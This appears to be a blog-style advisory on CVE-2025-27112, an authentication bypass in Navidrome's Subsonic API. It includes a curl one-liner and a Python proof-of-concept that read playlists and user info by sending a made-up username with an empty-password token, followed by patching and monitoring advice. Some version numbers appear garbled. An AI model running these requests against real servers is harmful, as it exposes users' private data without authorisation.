Summary:
A critical authentication flaw in Navidrome (versions .52. to .54.4) can let anyone access sensitive user data through the Subsonic API by simply supplying a made-up username and a specific password hash. Let’s walk through how this exploit works, what its limits are, and how you can patch or defend your server.
What is Navidrome and Why Should You Care?
Navidrome is a free, open-source web app for music streaming with support for mobile and web clients. It implements the Subsonic API, letting you connect with Subsonic-compatible clients and interact programmatically with your music catalog.
What is CVE-2025-27112?
This vulnerability landed in CVE-2025-27112 and affects Navidrome between v.52. and v.54.4. A broken authentication check allows any non-existent username, paired with a salted hash of an empty ("") password, to pass as an authenticated session.
Allows read-only access to resources that should be private: playlists, user info, and more.
- Cannot modify data: All attempts to change or delete anything fail with a permission denied error.
Technical Root Cause
The vulnerable code failed to properly verify that the supplied username exists before authenticating with the provided hash. Instead, if the username is not present in the user database and the hash matches the empty password, the server treats the request as authenticated.
Typically, authentication checks look like this (simplified pseudocode)
// Pseudocode example, not the original Navidrome code
func authenticateSubsonic(username, passwordHash) bool {
user := getUserByUsername(username)
if user == nil {
// should reject, but...
if isEmptyPasswordHash(passwordHash) {
return true
}
return false
}
// normal password validation
return checkPassword(user, passwordHash)
}
So, anyone sending a request with a random username and the 'empty password' hash gets in.
1. Find the Salt
The Subsonic API expects passwords as a token:
token = md5(password + salt) (all as string)
Clients provide the u (username), t (token), and s (salt) parameters in their API requests.
For an empty password, you just compute:
token = md5("" + salt) = md5(salt)
2. Pick Any Non-existent Username
Let’s say attacker123 (assume this user does not exist on the server).
Example, to list playlists (replace HOST with your server)
SALT="abcd1234"
TOKEN=$(echo -n "$SALT" | md5sum | awk '{print $1}')
curl 'https://HOST/rest/getPlaylists.view?u=attacker123&t='$TOKEN'&s='$SALT'&v=1.16.1&c=testclient&f=json';
- If the server is vulnerable, you’ll get a JSON response with all public (and some private) playlists.
- You can repeat this for other info endpoints like /rest/getUser.view.
Here’s a simple script
import hashlib
import requests
salt = 'abcd1234'
token = hashlib.md5(salt.encode()).hexdigest()
username = 'attacker123' # Should NOT exist
url = f'https://HOST/rest/getPlaylists.view';
params = {
"u": username,
"t": token,
"s": salt,
"v": "1.16.1",
"c": "exploit",
"f": "json"
}
resp = requests.get(url, params=params, verify=False)
print(resp.text)
What Can You Get Out Of This?
- Playlist lists/user info (read-only)
Possibly song details and other "read" endpoints
What you can't do:
Modify playlists, delete tracks, upload music, or anything requiring “write” access. Attempts return "permission denied".
How to Fix This
Immediate Solution:
Upgrade Navidrome to version .54.5 or later!
* Download latest: GitHub Releases
* Advisory: GitHub Security Advisory
Restrict Navidrome access to trusted networks
- Monitor access logs for unknown usernames hitting /rest/ endpoints
References
- Navidrome Security Advisory
- Navidrome Changelog
- Subsonic API Documentation
Conclusion
CVE-2025-27112 exposes user playlists and related info to snooping if you’re running a vulnerable version of Navidrome. Fortunately, the impact is limited to *reading* information (no writes, no deletes). Still, it’s a privacy risk for personal and shared servers. Always keep up to date, and restrict access if you must run outdated server software.
Timeline
Published on: 02/24/2025 19:15:14 UTC
Last modified on: 02/27/2025 20:24:21 UTC